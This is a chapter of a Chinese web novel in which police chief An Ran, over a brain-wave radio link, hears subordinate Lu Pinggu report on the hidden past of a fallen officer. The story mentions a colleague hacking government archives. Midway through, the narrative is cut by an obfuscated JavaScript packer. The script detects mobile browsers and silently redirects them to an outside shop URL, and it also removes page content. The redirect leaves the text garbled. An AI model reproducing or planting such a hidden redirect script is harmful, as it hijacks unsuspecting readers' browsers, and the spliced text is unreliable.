安然瞌上眼睛百无聊赖的听着。 -据说有一次,温警官和几位警员去处理一起案子,犯人落网时情绪激动- 安然闻声轻轻抬起眼皮,没有出声。 -犯人就将所有外派出去的刑警和自己锁在了一处,选择了自爆,也有人说是他们执行任务时发生了火灾,不过有一点是共同的,那就是支队警员几乎全员牺牲,除温警官外无人生还- 安然坐起身,看着面前简陋的圆桌微微出神,她半撑着下巴,另一只手无意识地磨着圆桌表面,描摹着军警部的徽章。 -鹰族成员的档案没办法查阅,我们起初都没有什么头绪,直到昨天温警官殉职的消息一发出,市井传闻就一并传开了- 这倒正常。 鹰族成员殉职后,档案都会重新进入档案管理系统,进行销毁。为了不让他们死得无声无息,发展部会按照档案管理处的意思放出一些似真似假的消息。 人死是死了,但总得有个身份,好有个名头被刻在烈士碑上。 他听安然依然没有出声,犹犹豫豫地问出下半句话: -处长……您在听吗?- 安然命令道: -继续说- 他接连“哦”了几声,很快切入正题: -我们把这些传闻都输进了分析库,根据机器人模型的分析,温警官在以往从事的工作当中的发生过一场重大事故的概率高达80%- -顺着这条线查下去一无所获,我们就试着把所有有关要素扔进了地理分析仪,得出了一份地理侧写,终于在联国非罗曼区刑警支队警队找到线索,是一份出警记录- 安然眸子沉了沉,非罗曼区早就离开了联国管辖,变成了联国地下城贫民窟。这里的人刁钻蛮横,多数都失去了教育配额,文化水平低下,性格比较偏激。 安然要是没有记错,非罗曼区脱离联国管控的同一年,政务平台发布的消息,说非罗曼区遭遇了一场规模很大的火灾,很多公民流离失所,走得走散得散。 进入城区的公民拿着微薄的薪资养家糊口,没有进入城区的公民以难民身份生活在原非罗曼区,也就是现在地下城的贫民窟。 她狐疑地问道: -什么意思?你不能是查到非罗曼区的行政资料了吧?我权限都不够查阅的行政资料,你们怎么查到的?- 路平谷立马失了声。 安然见状气得脸都绿了。 -别告诉我陈女士又黑进联国档案部的系统了- 电波频道无法传递情绪,她只恨自己不能从这个小房子冲出去给队里那帮不听话的小兔崽子一人一个耳光。 真是吃了熊心豹子胆了? 路平谷的声音顿了顿,解释说: -非罗曼区发生那场火灾前的出警资料都有备份,出警资料机密程度不算很高- 那你就黑?! 安然翻了个白眼,问道: -那是我可以调用还是你可以调用?还是陈宁那小兔崽子能调用?告诉我,谁有这个权限?- 得亏不是影像通讯,光看这段文字就能感觉到安处长的咆哮声。 路平谷此时此刻突然觉得脑电波通讯的简洁通讯功能这么人道: 不用听到上司的咆哮声。 不用看到气得吐血的黑脸。 甚至不用害怕领导会顺着频道无线电过来“哐哐”砸他两拳。 对他们这些做下属的打工人太过友好了。 路平谷回应道: -处长您放心,昨天档案部和信息部的全员被抓去开会,警戒不强,没有人发现异常- 安然:“……” 安然气得磨了磨牙: -原来是你给她兜着底呢是吧?别让陈宁那小混蛋被我抓到- 才给她擦屁股没多久,怎么又开始往火坑里跳了?真是好了伤疤忘了疼。 这才从军备处挨了个处分,发配到平民窟附近的城区巡逻还没几天,又开始干回老本行了。 这次要是再被抓,就让陈宁被监察处那帮人带走算了,让他们伺候着,她这儿庙小,实在是供不起陈宁这尊大佛。 安然懒得再替她操心,暂且把陈宁这小崽子的“光荣事迹”扔到了脑后,命令道: -继续汇报- 路平谷那一头的声音渐渐清晰的传了过来: -我们查了一夜,发现非罗曼区警备力量很少,出警记录上的人员基本上固定不变,温警官的名字也记录在册- 所以说,温金霖是非罗曼区人? 如果要再深入调查,可能还得去一趟贫民窟。可那里的环境太过恶劣,几乎没有警员愿意踏足。 安然深深呼出一口气: -还有什么?- 他的声音戛然而止,电波频道混杂着的电流音太刺耳,安然不舒服的皱了皱眉,又重复了一遍: -平谷,除外呢?还有别的吗?- 路平谷的声音断断续续的传过来,安然得集中注意力才能听得清楚。 -出警记录上显示,温警官最后一次同其他警员出警,是为救下一名打算自杀的研究员- ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315406|198947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安然眉头不展,自顾自地说道:“假设传闻80%是正确的,那就是说温金霖这次出警,九死一生。” “无论是爆炸还是火灾,都有可能会对他的身体造成影响。酋长挑鹰族成员时眼睛毒辣,是不可能会挑一个执勤时发生意外的普通刑警入伍。” 非罗曼区的其他比较重要的行政资料被锁在档案部,其中包括这类案件的卷宗,只有拥有权限的人才能打开。 安然的权限级别不算低,但想借阅这类文件,需要过层层手续,还容易被阿里求发现端倪。 想要绕过阿里求查温金霖的身份,还是太过困难,她倒是没想到手底下的人能在短时间内查到非罗曼区头上。 -归队记录上写着,同行多数人员当场殉职,但殉职名单里并没有列出温警官- 那应该是被送进医院抢救了,即使抢救无效也会记录在案,所以说当时的温金霖的确活了下来。 -我们搜遍了联国各地的医院就诊单,也没有搜到温警官当天的就诊记录- 安然指尖上的动作一顿,缓缓问道: -你的意思是,一个快死了的人,没有去医院治疗?- 他的回答简洁明了: -是- 安然瞬间坐直,电波频道内寂静无声,时而传出一两声刺耳的电流音,又很快销声匿迹。 路平谷见安然迟迟不作下一步指示,也没有贸然呼叫,只静静地连着频道,等着安然下令。 室内和电波频道里的寂静融合在了一起,安然沉默了许久,才重新往电波频道里扔了一句话: -能不能查到发生那起意外的时间?- 路平谷回应迅速: -记录上写着是十三年前,当时的温警官还是实习生,年龄应该不会超过二十岁- 鹰族成立时间是在十二年前,时间线没法重合,所以说温金霖不大可能如安然所想,会是鹰族那位神龙见首不见尾的队长。 排除温金霖是队长的可能,安然总觉得哪里奇怪。 安然晃过神,疑惑地问: -二十岁?还是实习生?实习生为什么会跟着警员出警?- 路平谷的回复比刚才慢了几秒,似乎是在整理措辞。 -具体缘由我们也不太清楚,不排除是因为当地警备力量太少,让实习生跟着出勤的可能- 也说得过去。非罗曼区原是非战斗区域,无具体政权机关,它那点微薄的警备力量,一直都是非罗曼区全体公民筹钱,支付联国一定数量的财务,让联国政府提供的。 当地的警员少之又少。这么一想,那就不能确定温金霖是非罗曼区人。他也有可能是联国派出去的实习生。 警察实习生一般都会就近寻找单位实习,如果能确定温金霖所在的警察学院,就能确定他是哪里人。 安然紧接着又问: -温金霖毕业于哪里?- 路平谷应道: -没有查到- 安然突然有了让陈宁再次黑进联国数据库的打算。 鹰族成员的背景,小到看守鹰族办公室的守卫,大到他们那位神秘的队长,都没法查证。 好像这些人在加入鹰族之前,完全不存在。 加入鹰族后,世界上就莫名其妙的多出来这么个人,能查到他的一点消息,但也就那么一点,顺着这点蛛丝马迹,却什么也得不到。 安然拧着眉头: -还有别的消息吗?- 路平谷迟迟没有回应。 安然的耐心被消磨殆尽。 -切断——- 路平谷这才慢吞吞地蹦出来一条消息: -是林博士- 安然失了声,一句不语的等着电波频道另一端的动静。 路平谷说: -派出去的人员说,自毁程序的爆炸威力太大,他们找了很久,也没有找到林博士的尸身,但……- 安然深吸一口气,勒令他说下去。 -找到了温警官的尸体和他的配枪- 安然放在圆桌一角的手握成拳,命令道: -活要见人,死要见尸- -继续找- 路平谷:-是-